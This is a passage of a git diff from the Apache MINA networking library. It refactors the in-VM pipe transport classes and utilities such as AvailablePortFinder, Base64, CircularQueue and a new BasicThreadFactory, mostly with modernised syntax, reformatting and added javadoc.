ConnectFuture connect0(SocketAddress remoteAddress, ((VmPipeAcceptor) remoteSession.getService()).doFinishSessionInitialization(remoteSession, null); try { IoFilterChain filterChain = remoteSession.getFilterChain(); - entry.getAcceptor().getFilterChainBuilder().buildFilterChain( - filterChain); + entry.getAcceptor().getFilterChainBuilder().buildFilterChain(filterChain); // The following sentences don't throw any exceptions. entry.getListeners().fireSessionCreated(remoteSession); idleChecker.addSession(remoteSession); - } catch (Throwable t) { - ExceptionMonitor.getInstance().exceptionCaught(t); - remoteSession.close(true); + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); + remoteSession.closeNow(); } // Start chains, and then allow and messages read/written to be processed. This is to ensure that @@ -140,13 +146,16 @@ protected ConnectFuture connect0(SocketAddress remoteAddress, return future; } + /** + * {@inheritDoc} + */ @Override protected void dispose0() throws Exception { // stop the idle checking task idleChecker.getNotifyingTask().cancel(); } - private static final Set TAKEN_LOCAL_ADDRESSES = new HashSet(); + private static final Set TAKEN_LOCAL_ADDRESSES = new HashSet<>(); private static int nextLocalPort = -1; @@ -172,8 +181,7 @@ private static VmPipeAddress nextLocalAddress() throws IOException { private static class LocalAddressReclaimer implements IoFutureListener { public void operationComplete(IoFuture future) { synchronized (TAKEN_LOCAL_ADDRESSES) { - TAKEN_LOCAL_ADDRESSES.remove(future.getSession() - .getLocalAddress()); + TAKEN_LOCAL_ADDRESSES.remove(future.getSession().getLocalAddress()); } } } diff --git a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeFilterChain.java b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeFilterChain.java index 7414632a19..ff7985a9cd 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeFilterChain.java +++ b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeFilterChain.java @@ -34,6 +34,7 @@ import org.apache.mina.core.write.WriteRequest; import org.apache.mina.core.write.WriteRequestQueue; import org.apache.mina.core.write.WriteToClosedSessionException; +import org.apache.mina.filter.FilterEvent; /** * TODO Add documentation @@ -42,10 +43,12 @@ */ class VmPipeFilterChain extends DefaultIoFilterChain { - private final Queue eventQueue = new ConcurrentLinkedQueue(); + private final Queue eventQueue = new ConcurrentLinkedQueue<>(); + private final IoProcessor processor = new VmPipeIoProcessor(); private volatile boolean flushEnabled; + private volatile boolean sessionOpened; VmPipeFilterChain(AbstractIoSession session) { @@ -85,43 +88,71 @@ private void fireEvent(IoEvent e) { IoEventType type = e.getType(); Object data = e.getParameter(); - if (type == IoEventType.MESSAGE_RECEIVED) { - if (sessionOpened && (! session.isReadSuspended() ) && session.getLock().tryLock()) { - try { - if (session.isReadSuspended()) { - session.receivedMessageQueue.add(data); - } else { - super.fireMessageReceived(data); + switch (type) { + case EVENT: + super.fireEvent((FilterEvent) data); + break; + + case EXCEPTION_CAUGHT: + super.fireExceptionCaught((Throwable) data); + break; + + case CLOSE: + super.fireFilterClose(); + break; + + case INPUT_CLOSED: + super.fireInputClosed(); + break; + + case MESSAGE_SENT: + super.fireMessageSent((WriteRequest) data); + break; + + case MESSAGE_RECEIVED: + if (sessionOpened && (!session.isReadSuspended()) && session.getLock().tryLock()) { + try { + if (session.isReadSuspended()) { + session.receivedMessageQueue.add(data); + } else { + super.fireMessageReceived(data); + } + } finally { + session.getLock().unlock(); } + } else { + session.receivedMessageQueue.add(data); + } + + break; + + case SESSION_CLOSED: + flushPendingDataQueues(session); + super.fireSessionClosed(); + break; + + case SESSION_CREATED: + session.getLock().lock(); + try { + super.fireSessionCreated(); } finally { session.getLock().unlock(); } - } else { - session.receivedMessageQueue.add(data); - } - } else if (type == IoEventType.WRITE) { - super.fireFilterWrite((WriteRequest) data); - } else if (type == IoEventType.MESSAGE_SENT) { - super.fireMessageSent((WriteRequest) data); - } else if (type == IoEventType.EXCEPTION_CAUGHT) { - super.fireExceptionCaught((Throwable) data); - } else if (type == IoEventType.SESSION_IDLE) { - super.fireSessionIdle((IdleStatus) data); - } else if (type == IoEventType.SESSION_OPENED) { - super.fireSessionOpened(); - sessionOpened = true; - } else if (type == IoEventType.SESSION_CREATED) { - session.getLock().lock(); - try { - super.fireSessionCreated(); - } finally { - session.getLock().unlock(); - } - } else if (type == IoEventType.SESSION_CLOSED) { - flushPendingDataQueues(session); - super.fireSessionClosed(); - } else if (type == IoEventType.CLOSE) { - super.fireFilterClose(); + + break; + + case SESSION_IDLE: + super.fireSessionIdle((IdleStatus) data); + break; + + case SESSION_OPENED: + super.fireSessionOpened(); + sessionOpened = true; + break; + + case WRITE: + super.fireFilterWrite((WriteRequest) data); + break; } } @@ -130,11 +161,21 @@ private static void flushPendingDataQueues(VmPipeSession s) { s.getRemoteSession().getProcessor().updateTrafficControl(s); } + @Override + public void fireEvent(FilterEvent event) { + pushEvent(new IoEvent(IoEventType.EVENT, getSession(), event)); + } + @Override public void fireFilterClose() { pushEvent(new IoEvent(IoEventType.CLOSE, getSession(), null)); } + @Override + public void fireInputClosed() { + pushEvent(new IoEvent(IoEventType.INPUT_CLOSED, getSession(), null)); + } + @Override public void fireFilterWrite(WriteRequest writeRequest) { pushEvent(new IoEvent(IoEventType.WRITE, getSession(), writeRequest)); @@ -189,11 +230,9 @@ public void flush(VmPipeSession session) { while ((req = queue.poll(session)) != null) { Object m = req.getMessage(); pushEvent(new IoEvent(IoEventType.MESSAGE_SENT, session, req), false); - session.getRemoteSession().getFilterChain().fireMessageReceived( - getMessageCopy(m)); + session.getRemoteSession().getFilterChain().fireMessageReceived(getMessageCopy(m)); if (m instanceof IoBuffer) { - session.increaseWrittenBytes0( - ((IoBuffer) m).remaining(), currentTime); + session.increaseWrittenBytes0(((IoBuffer) m).remaining(), currentTime); } } } finally { @@ -205,7 +244,7 @@ public void flush(VmPipeSession session) { flushPendingDataQueues(session); } else { - List failedRequests = new ArrayList(); + List failedRequests = new ArrayList<>(); WriteRequest req; while ((req = queue.poll(session)) != null) { failedRequests.add(req); @@ -213,7 +252,7 @@ public void flush(VmPipeSession session) { if (!failedRequests.isEmpty()) { WriteToClosedSessionException cause = new WriteToClosedSessionException(failedRequests); - for (WriteRequest r: failedRequests) { + for (WriteRequest r : failedRequests) { r.getFuture().setException(cause); } session.getFilterChain().fireExceptionCaught(cause); @@ -221,6 +260,19 @@ public void flush(VmPipeSession session) { } } + /** + * {@inheritDoc} + */ + public void write(VmPipeSession session, WriteRequest writeRequest) { + WriteRequestQueue writeRequestQueue = session.getWriteRequestQueue(); + + writeRequestQueue.offer(session, writeRequest); + + if (!session.isWriteSuspended()) { + this.flush(session); + } + } + private Object getMessageCopy(Object message) { Object messageCopy = message; if (message instanceof IoBuffer) { @@ -240,7 +292,7 @@ public void remove(VmPipeSession session) { session.getLock().lock(); if (!session.getCloseFuture().isClosed()) { session.getServiceListeners().fireSessionDestroyed(session); - session.getRemoteSession().close(true); + session.getRemoteSession().closeNow(); } } finally { session.getLock().unlock(); @@ -252,15 +304,15 @@ public void add(VmPipeSession session) { } public void updateTrafficControl(VmPipeSession session) { - if ( ! session.isReadSuspended()) { - List data = new ArrayList(); + if (!session.isReadSuspended()) { + List data = new ArrayList<>(); session.receivedMessageQueue.drainTo(data); for (Object aData : data) { VmPipeFilterChain.this.fireMessageReceived(aData); } } - if ( ! session.isWriteSuspended()) { + if (!session.isWriteSuspended()) { flush(session); } } diff --git a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeSession.java b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeSession.java index ea0f416b55..b6ba4da074 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeSession.java +++ b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeSession.java @@ -42,16 +42,8 @@ */ class VmPipeSession extends AbstractIoSession { - static final TransportMetadata METADATA = - new DefaultTransportMetadata( - "mina", "vmpipe", false, false, - VmPipeAddress.class, - VmPipeSessionConfig.class, - Object.class); - - private static final VmPipeSessionConfig CONFIG = new DefaultVmPipeSessionConfig(); - - private final IoService service; + static final TransportMetadata METADATA = new DefaultTransportMetadata("mina", "vmpipe", false, false, + VmPipeAddress.class, VmPipeSessionConfig.class, Object.class); private final IoServiceListenerSupport serviceListeners; @@ -61,30 +53,27 @@ class VmPipeSession extends AbstractIoSession { private final VmPipeAddress serviceAddress; - private final IoHandler handler; - private final VmPipeFilterChain filterChain; private final VmPipeSession remoteSession; private final Lock lock; - final BlockingQueue receivedMessageQueue; + /** Package protected*/ final BlockingQueue receivedMessageQueue; /* * Constructor for client-side session. */ - VmPipeSession(IoService service, - IoServiceListenerSupport serviceListeners, - VmPipeAddress localAddress, IoHandler handler, VmPipe remoteEntry) { - this.service = service; + VmPipeSession(IoService service, IoServiceListenerSupport serviceListeners, VmPipeAddress localAddress, + IoHandler handler, VmPipe remoteEntry) { + super(service); + config = new DefaultVmPipeSessionConfig(); this.serviceListeners = serviceListeners; lock = new ReentrantLock(); this.localAddress = localAddress; remoteAddress = serviceAddress = remoteEntry.getAddress(); - this.handler = handler; filterChain = new VmPipeFilterChain(this); - receivedMessageQueue = new LinkedBlockingQueue(); + receivedMessageQueue = new LinkedBlockingQueue<>(); remoteSession = new VmPipeSession(this, remoteEntry); } @@ -93,19 +82,15 @@ class VmPipeSession extends AbstractIoSession { * Constructor for server-side session. */ private VmPipeSession(VmPipeSession remoteSession, VmPipe entry) { - service = entry.getAcceptor(); + super(entry.getAcceptor()); + config = new DefaultVmPipeSessionConfig(); serviceListeners = entry.getListeners(); lock = remoteSession.lock; localAddress = serviceAddress = remoteSession.remoteAddress; remoteAddress = remoteSession.localAddress; - handler = entry.getHandler(); filterChain = new VmPipeFilterChain(this); this.remoteSession = remoteSession; - receivedMessageQueue = new LinkedBlockingQueue(); - } - - public IoService getService() { - return service; + receivedMessageQueue = new LinkedBlockingQueue<>(); } @Override @@ -118,7 +103,7 @@ IoServiceListenerSupport getServiceListeners() { } public VmPipeSessionConfig getConfig() { - return CONFIG; + return (VmPipeSessionConfig) config; } public IoFilterChain getFilterChain() { @@ -129,10 +114,6 @@ public VmPipeSession getRemoteSession() { return remoteSession; } - public IoHandler getHandler() { - return handler; - } - public TransportMetadata getTransportMetadata() { return METADATA; } diff --git a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/package-info.java b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/package-info.java new file mode 100644 index 0000000000..59b5d51e9c --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/package-info.java @@ -0,0 +1,42 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * In-VM pipe support which removes the overhead of local loopback communication. + * + *

    What is 'in-VM pipe'?

    + *

    + * In-VM pipe is a direct event forwarding mechanism between two + * ProtocolHandlers in the + * same Java Virtual Machine. Using in-VM pipe, you can remove the overhead + * of encoding and decoding which is caused uselessly by local loopback + * network communication. Here are some useful situations possible: + *

      + *
    • SMTP server and SPAM filtering server,
    • + *
    • web server and Servlet/JSP container.
    • + *
    + *

    + * Please refer to Tennis example. + *

    + * + * + * @author Apache MINA Project + */ +package org.apache.mina.transport.vmpipe; diff --git a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/package.html b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/package.html deleted file mode 100644 index ac94dcecc1..0000000000 --- a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/package.html +++ /dev/null @@ -1,42 +0,0 @@ - - - - - - -In-VM pipe support which removes the overhead of local loopback communication. - -

    What is 'in-VM pipe'?

    -

    - In-VM pipe is a direct event forwarding mechanism between two - ProtocolHandlers in the - same Java Virtual Machine. Using in-VM pipe, you can remove the overhead - of encoding and decoding which is caused uselessly by local loopback - network communication. Here are some useful situations possible: -

      -
    • SMTP server and SPAM filtering server,
    • -
    • web server and Servlet/JSP container.
    • -
    -

    -

    - Please refer to - Tennis - example. -

    - - diff --git a/mina-core/src/main/java/org/apache/mina/util/AvailablePortFinder.java b/mina-core/src/main/java/org/apache/mina/util/AvailablePortFinder.java old mode 100755 new mode 100644 index c38566ff42..cedb6e64fc --- a/mina-core/src/main/java/org/apache/mina/util/AvailablePortFinder.java +++ b/mina-core/src/main/java/org/apache/mina/util/AvailablePortFinder.java @@ -51,7 +51,7 @@ private AvailablePortFinder() { } /** - * Returns the {@link Set} of currently available port numbers + * @return the {@link Set} of currently available port numbers * ({@link Integer}). This method is identical to * getAvailablePorts(MIN_PORT_NUMBER, MAX_PORT_NUMBER). * @@ -62,24 +62,28 @@ public static Set getAvailablePorts() { } /** - * Gets the next available port starting at the lowest port number. + * @return an available port, selected by the system. * * @throws NoSuchElementException if there are no ports available */ public static int getNextAvailable() { - return getNextAvailable(MIN_PORT_NUMBER); + try (ServerSocket serverSocket = new ServerSocket(0)){ + // Here, we simply return an available port found by the system + return serverSocket.getLocalPort(); + } catch (IOException ioe) { + throw new NoSuchElementException(ioe.getMessage()); + } } /** - * Gets the next available port starting at a port. + * @return the next available port starting at a port. * * @param fromPort the port to scan for availability * @throws NoSuchElementException if there are no ports available */ public static int getNextAvailable(int fromPort) { if (fromPort < MIN_PORT_NUMBER || fromPort > MAX_PORT_NUMBER) { - throw new IllegalArgumentException("Invalid start port: " - + fromPort); + throw new IllegalArgumentException("Invalid start port: " + fromPort); } for (int i = fromPort; i <= MAX_PORT_NUMBER; i++) { @@ -88,14 +92,14 @@ public static int getNextAvailable(int fromPort) { } } - throw new NoSuchElementException("Could not find an available port " - + "above " + fromPort); + throw new NoSuchElementException("Could not find an available port " + "above " + fromPort); } /** * Checks to see if a specific port is available. * * @param port the port to check for availability + * @return true if the port is available */ public static boolean available(int port) { if (port < MIN_PORT_NUMBER || port > MAX_PORT_NUMBER) { @@ -104,6 +108,7 @@ public static boolean available(int port) { ServerSocket ss = null; DatagramSocket ds = null; + try { ss = new ServerSocket(port); ss.setReuseAddress(true); @@ -130,7 +135,9 @@ public static boolean available(int port) { } /** - * Returns the {@link Set} of currently avaliable port numbers ({@link Integer}) + * @param fromPort The port we start from + * @param toPort The posrt we stop at + * @return the {@link Set} of currently avalaible port numbers ({@link Integer}) * between the specified port range. * * @throws IllegalArgumentException if port range is not between @@ -138,20 +145,18 @@ public static boolean available(int port) { * fromPort if greater than toPort. */ public static Set getAvailablePorts(int fromPort, int toPort) { - if (fromPort < MIN_PORT_NUMBER || toPort > MAX_PORT_NUMBER - || fromPort > toPort) { - throw new IllegalArgumentException("Invalid port range: " - + fromPort + " ~ " + toPort); + if (fromPort < MIN_PORT_NUMBER || toPort > MAX_PORT_NUMBER || fromPort > toPort) { + throw new IllegalArgumentException("Invalid port range: " + fromPort + " ~ " + toPort); } - Set result = new TreeSet(); + Set result = new TreeSet<>(); for (int i = fromPort; i <= toPort; i++) { ServerSocket s = null; try { s = new ServerSocket(i); - result.add(new Integer(i)); + result.add(Integer.valueOf(i)); } catch (IOException e) { // Do nothing } finally { diff --git a/mina-core/src/main/java/org/apache/mina/util/Base64.java b/mina-core/src/main/java/org/apache/mina/util/Base64.java index eda7fc65d3..caa59a7e1e 100644 --- a/mina-core/src/main/java/org/apache/mina/util/Base64.java +++ b/mina-core/src/main/java/org/apache/mina/util/Base64.java @@ -24,14 +24,18 @@ /** * Provides Base64 encoding and decoding as defined by RFC 2045. * - *

    This class implements section 6.8. Base64 Content-Transfer-Encoding - * from RFC 2045 Multipurpose Internet Mail Extensions (MIME) Part One: - * Format of Internet Message Bodies by Freed and Borenstein.

    - * + *

    + * This class implements section 6.8. Base64 + * Content-Transfer-Encoding from RFC 2045 Multipurpose Internet + * Mail Extensions (MIME) Part One: Format of Internet Message Bodies by + * Freed and Borenstein. + *

    + * * @see RFC 2045 * - * This class was - * @author Apache Software Foundation commons codec (http://commons.apache.org/codec/) + * + * @author Apache Software Foundation commons codec + * (http://commons.apache.org/codec/) * @author Apache MINA Project */ public class Base64 { @@ -39,7 +43,7 @@ public class Base64 { /** * Chunk size per RFC 2045 section 6.8. * - *

    The {@value} character limit does not count the trailing CRLF, but counts + *

    The {@value} character limit does not count the trailing CRLF, but counts * all other characters, including any equal signs.

    * * @see RFC 2045 section 6.8 @@ -93,7 +97,7 @@ public class Base64 { */ static final byte PAD = (byte) '='; - // Create arrays to hold the base64 characters and a + // Create arrays to hold the base64 characters and a // lookup for base64 chars private static byte[] base64Alphabet = new byte[BASELENGTH]; @@ -158,7 +162,6 @@ public static boolean isArrayByteBase64(byte[] arrayOctect) { int length = arrayOctect.length; if (length == 0) { // shouldn't a 0 length array be valid base64 data? - // return false; return true; } for (int i = 0; i < length; i++) { @@ -198,15 +201,14 @@ public static byte[] encodeBase64Chunked(byte[] binaryData) { * supplied object is not of type byte[]. * * @param pObject Object to decode - * @return An object (of type byte[]) containing the + * @return An object (of type byte[]) containing the * binary data which corresponds to the byte[] supplied. * @throws InvalidParameterException if the parameter supplied is not * of type byte[] */ public Object decode(Object pObject) { if (!(pObject instanceof byte[])) { - throw new InvalidParameterException( - "Parameter supplied to Base64 decode is not a byte[]"); + throw new InvalidParameterException("Parameter supplied to Base64 decode is not a byte[]"); } return decode((byte[]) pObject); } @@ -247,13 +249,12 @@ public static byte[] encodeBase64(byte[] binaryData, boolean isChunked) { encodedDataLength = numberTriplets * 4; } - // If the output is to be "chunked" into 76 character sections, - // for compliance with RFC 2045 MIME, then it is important to + // If the output is to be "chunked" into 76 character sections, + // for compliance with RFC 2045 MIME, then it is important to // allow for extra length to account for the separator(s) if (isChunked) { - nbrChunks = (CHUNK_SEPARATOR.length == 0 ? 0 : (int) Math - .ceil((float) encodedDataLength / CHUNK_SIZE)); + nbrChunks = (CHUNK_SEPARATOR.length == 0 ? 0 : (int) Math.ceil((float) encodedDataLength / CHUNK_SIZE)); encodedDataLength += nbrChunks * CHUNK_SEPARATOR.length; } @@ -267,46 +268,33 @@ public static byte[] encodeBase64(byte[] binaryData, boolean isChunked) { int nextSeparatorIndex = CHUNK_SIZE; int chunksSoFar = 0; - //log.debug("number of triplets = " + numberTriplets); for (i = 0; i < numberTriplets; i++) { dataIndex = i * 3; b1 = binaryData[dataIndex]; b2 = binaryData[dataIndex + 1]; b3 = binaryData[dataIndex + 2]; - //log.debug("b1= " + b1 +", b2= " + b2 + ", b3= " + b3); - l = (byte) (b2 & 0x0f); k = (byte) (b1 & 0x03); - byte val1 = ((b1 & SIGN) == 0) ? (byte) (b1 >> 2) - : (byte) ((b1) >> 2 ^ 0xc0); - byte val2 = ((b2 & SIGN) == 0) ? (byte) (b2 >> 4) - : (byte) ((b2) >> 4 ^ 0xf0); - byte val3 = ((b3 & SIGN) == 0) ? (byte) (b3 >> 6) - : (byte) ((b3) >> 6 ^ 0xfc); - + byte val1 = ((b1 & SIGN) == 0) ? (byte) (b1 >> 2) : (byte) ((b1) >> 2 ^ 0xc0); + byte val2 = ((b2 & SIGN) == 0) ? (byte) (b2 >> 4) : (byte) ((b2) >> 4 ^ 0xf0); + byte val3 = ((b3 & SIGN) == 0) ? (byte) (b3 >> 6) : (byte) ((b3) >> 6 ^ 0xfc); + encodedData[encodedIndex] = lookUpBase64Alphabet[val1]; - //log.debug( "val2 = " + val2 ); - //log.debug( "k4 = " + (k<<4) ); - //log.debug( "vak = " + (val2 | (k<<4)) ); - encodedData[encodedIndex + 1] = lookUpBase64Alphabet[val2 - | (k << 4)]; - encodedData[encodedIndex + 2] = lookUpBase64Alphabet[(l << 2) - | val3]; + encodedData[encodedIndex + 1] = lookUpBase64Alphabet[val2 | (k << 4)]; + encodedData[encodedIndex + 2] = lookUpBase64Alphabet[(l << 2) | val3]; encodedData[encodedIndex + 3] = lookUpBase64Alphabet[b3 & 0x3f]; - + encodedIndex += 4; - + // If we are chunking, let's put a chunk separator down. if (isChunked) { // this assumes that CHUNK_SIZE % 4 == 0 if (encodedIndex == nextSeparatorIndex) { - System.arraycopy(CHUNK_SEPARATOR, 0, encodedData, - encodedIndex, CHUNK_SEPARATOR.length); + System.arraycopy(CHUNK_SEPARATOR, 0, encodedData, encodedIndex, CHUNK_SEPARATOR.length); chunksSoFar++; - nextSeparatorIndex = (CHUNK_SIZE * (chunksSoFar + 1)) - + (chunksSoFar * CHUNK_SEPARATOR.length); + nextSeparatorIndex = (CHUNK_SIZE * (chunksSoFar + 1)) + (chunksSoFar * CHUNK_SEPARATOR.length); encodedIndex += CHUNK_SEPARATOR.length; } } @@ -318,10 +306,7 @@ public static byte[] encodeBase64(byte[] binaryData, boolean isChunked) { if (fewerThan24bits == EIGHTBIT) { b1 = binaryData[dataIndex]; k = (byte) (b1 & 0x03); - //log.debug("b1=" + b1); - //log.debug("b1<<2 = " + (b1>>2) ); - byte val1 = ((b1 & SIGN) == 0) ? (byte) (b1 >> 2) - : (byte) ((b1) >> 2 ^ 0xc0); + byte val1 = ((b1 & SIGN) == 0) ? (byte) (b1 >> 2) : (byte) ((b1) >> 2 ^ 0xc0); encodedData[encodedIndex] = lookUpBase64Alphabet[val1]; encodedData[encodedIndex + 1] = lookUpBase64Alphabet[k << 4]; encodedData[encodedIndex + 2] = PAD; @@ -333,14 +318,11 @@ public static byte[] encodeBase64(byte[] binaryData, boolean isChunked) { l = (byte) (b2 & 0x0f); k = (byte) (b1 & 0x03); - byte val1 = ((b1 & SIGN) == 0) ? (byte) (b1 >> 2) - : (byte) ((b1) >> 2 ^ 0xc0); - byte val2 = ((b2 & SIGN) == 0) ? (byte) (b2 >> 4) - : (byte) ((b2) >> 4 ^ 0xf0); - + byte val1 = ((b1 & SIGN) == 0) ? (byte) (b1 >> 2) : (byte) ((b1) >> 2 ^ 0xc0); + byte val2 = ((b2 & SIGN) == 0) ? (byte) (b2 >> 4) : (byte) ((b2) >> 4 ^ 0xf0); + encodedData[encodedIndex] = lookUpBase64Alphabet[val1]; - encodedData[encodedIndex + 1] = lookUpBase64Alphabet[val2 - | (k << 4)]; + encodedData[encodedIndex + 1] = lookUpBase64Alphabet[val2 | (k << 4)]; encodedData[encodedIndex + 2] = lookUpBase64Alphabet[l << 2]; encodedData[encodedIndex + 3] = PAD; } @@ -348,8 +330,7 @@ public static byte[] encodeBase64(byte[] binaryData, boolean isChunked) { if (isChunked) { // we also add a separator to the end of the final chunk. if (chunksSoFar < nbrChunks) { - System.arraycopy(CHUNK_SEPARATOR, 0, encodedData, - encodedDataLength - CHUNK_SEPARATOR.length, + System.arraycopy(CHUNK_SEPARATOR, 0, encodedData, encodedDataLength - CHUNK_SEPARATOR.length, CHUNK_SEPARATOR.length); } } @@ -488,15 +469,14 @@ static byte[] discardNonBase64(byte[] data) { * supplied object is not of type byte[]. * * @param pObject Object to encode - * @return An object (of type byte[]) containing the + * @return An object (of type byte[]) containing the * base64 encoded data which corresponds to the byte[] supplied. * @throws InvalidParameterException if the parameter supplied is not * of type byte[] */ public Object encode(Object pObject) { if (!(pObject instanceof byte[])) { - throw new InvalidParameterException( - "Parameter supplied to Base64 encode is not a byte[]"); + throw new InvalidParameterException("Parameter supplied to Base64 encode is not a byte[]"); } return encode((byte[]) pObject); } diff --git a/mina-core/src/main/java/org/apache/mina/util/BasicThreadFactory.java b/mina-core/src/main/java/org/apache/mina/util/BasicThreadFactory.java new file mode 100644 index 0000000000..30f2153561 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/util/BasicThreadFactory.java @@ -0,0 +1,61 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.util; + +import java.util.concurrent.atomic.AtomicInteger; + +/** + * Utility for creating thread factories + * + * @author Apache MINA Project + * @author Jonathan Valliere + */ +public class BasicThreadFactory implements java.util.concurrent.ThreadFactory { + public final AtomicInteger count = new AtomicInteger(0); + public final String name; + + public final boolean deamon; + public final int priority; + + public BasicThreadFactory(String basename, boolean daemon, int priority) { + this.name = basename; + this.deamon = daemon; + this.priority = priority; + } + + public BasicThreadFactory(String basename, boolean daemon) { + this(basename, daemon, Thread.NORM_PRIORITY); + } + + public BasicThreadFactory(String basename) { + this(basename, false, Thread.NORM_PRIORITY); + } + + @Override + public Thread newThread(Runnable pool) { + Thread t = new Thread(pool); + + t.setName(this.name + "-" + this.count.getAndIncrement()); + t.setPriority(this.priority); + t.setDaemon(this.deamon); + + return t; + } +} diff --git a/mina-core/src/main/java/org/apache/mina/util/CircularQueue.java b/mina-core/src/main/java/org/apache/mina/util/CircularQueue.java index f6c2f70997..fa701d12e8 100644 --- a/mina-core/src/main/java/org/apache/mina/util/CircularQueue.java +++ b/mina-core/src/main/java/org/apache/mina/util/CircularQueue.java @@ -28,6 +28,8 @@ /** * A unbounded circular queue based on array. * + * @param The type of elements stored inthe queue + * * @author Apache MINA Project */ public class CircularQueue extends AbstractList implements Queue, Serializable { @@ -39,24 +41,34 @@ public class CircularQueue extends AbstractList implements Queue, Seria /** The initial capacity of the list */ private final int initialCapacity; - + // XXX: This volatile keyword here is a workaround for SUN Java Compiler bug, // which produces buggy byte code. I don't event know why adding a volatile // fixes the problem. Eclipse Java Compiler seems to produce correct byte code. private volatile Object[] items; + private int mask; + private int first = 0; + private int last = 0; + private boolean full; + private int shrinkThreshold; /** - * Construct a new, empty queue. + * Construct a new, empty, circular queue. */ public CircularQueue() { this(DEFAULT_CAPACITY); } - + + /** + * Construct a new circular queue with an initial capacity. + * + * @param initialCapacity The initial capacity of this circular queue + */ public CircularQueue(int initialCapacity) { int actualCapacity = normalizeCapacity(initialCapacity); items = new Object[actualCapacity]; @@ -70,7 +82,7 @@ public CircularQueue(int initialCapacity) { */ private static int normalizeCapacity(int initialCapacity) { int actualCapacity = 1; - + while (actualCapacity < initialCapacity) { actualCapacity <<= 1; if (actualCapacity < 0) { @@ -82,12 +94,15 @@ private static int normalizeCapacity(int initialCapacity) { } /** - * Returns the capacity of this queue. + * @return the capacity of this queue. */ public int capacity() { return items.length; } + /** + * {@inheritDoc} + */ @Override public void clear() { if (!isEmpty()) { @@ -99,6 +114,10 @@ public void clear() { } } + /** + * {@inheritDoc} + */ + @Override @SuppressWarnings("unchecked") public E poll() { if (isEmpty()) { @@ -108,7 +127,7 @@ public E poll() { Object ret = items[first]; items[first] = null; decreaseSize(); - + if (first == last) { first = last = 0; } @@ -117,17 +136,25 @@ public E poll() { return (E) ret; } + /** + * {@inheritDoc} + */ + @Override public boolean offer(E item) { if (item == null) { throw new IllegalArgumentException("item"); } - + expandIfNeeded(); items[last] = item; increaseSize(); return true; } + /** + * {@inheritDoc} + */ + @Override @SuppressWarnings("unchecked") public E peek() { if (isEmpty()) { @@ -137,6 +164,9 @@ public E peek() { return (E) items[first]; } + /** + * {@inheritDoc} + */ @SuppressWarnings("unchecked") @Override public E get(int idx) { @@ -144,28 +174,36 @@ public E get(int idx) { return (E) items[getRealIndex(idx)]; } + /** + * {@inheritDoc} + */ @Override public boolean isEmpty() { return (first == last) && !full; } + /** + * {@inheritDoc} + */ @Override public int size() { if (full) { return capacity(); } - + if (last >= first) { return last - first; } return last - first + capacity(); } - + + /** + * {@inheritDoc} + */ @Override public String toString() { - return "first=" + first + ", last=" + last + ", size=" + size() - + ", mask = " + mask; + return "first=" + first + ", last=" + last + ", size=" + size() + ", mask = " + mask; } private void checkIndex(int idx) { @@ -194,38 +232,41 @@ private void expandIfNeeded() { final int oldLen = items.length; final int newLen = oldLen << 1; Object[] tmp = new Object[newLen]; - + if (first < last) { System.arraycopy(items, first, tmp, 0, last - first); } else { System.arraycopy(items, first, tmp, 0, oldLen - first); System.arraycopy(items, 0, tmp, oldLen - first, last); } - + first = 0; last = oldLen; items = tmp; mask = tmp.length - 1; + if (newLen >>> 3 > initialCapacity) { shrinkThreshold = newLen >>> 3; } } } - + private void shrinkIfNeeded() { int size = size(); + if (size <= shrinkThreshold) { // shrink queue final int oldLen = items.length; int newLen = normalizeCapacity(size); + if (size == newLen) { newLen <<= 1; } - + if (newLen >= oldLen) { return; } - + if (newLen < initialCapacity) { if (oldLen == initialCapacity) { return; @@ -233,9 +274,9 @@ private void shrinkIfNeeded() { newLen = initialCapacity; } - + Object[] tmp = new Object[newLen]; - + // Copy only when there's something to copy. if (size > 0) { if (first < last) { @@ -245,7 +286,7 @@ private void shrinkIfNeeded() { System.arraycopy(items, 0, tmp, oldLen - first, last); } } - + first = 0; last = size; items = tmp; @@ -254,11 +295,17 @@ private void shrinkIfNeeded() { } } + /** + * {@inheritDoc} + */ @Override public boolean add(E o) { return offer(o); } + /** + * {@inheritDoc} + */ @SuppressWarnings("unchecked") @Override public E set(int idx, E o) { @@ -270,6 +317,9 @@ public E set(int idx, E o) { return (E) old; } + /** + * {@inheritDoc} + */ @Override public void add(int idx, E o) { if (idx == size()) { @@ -284,18 +334,14 @@ public void add(int idx, E o) { // Make a room for a new element. if (first < last) { - System - .arraycopy(items, realIdx, items, realIdx + 1, last - 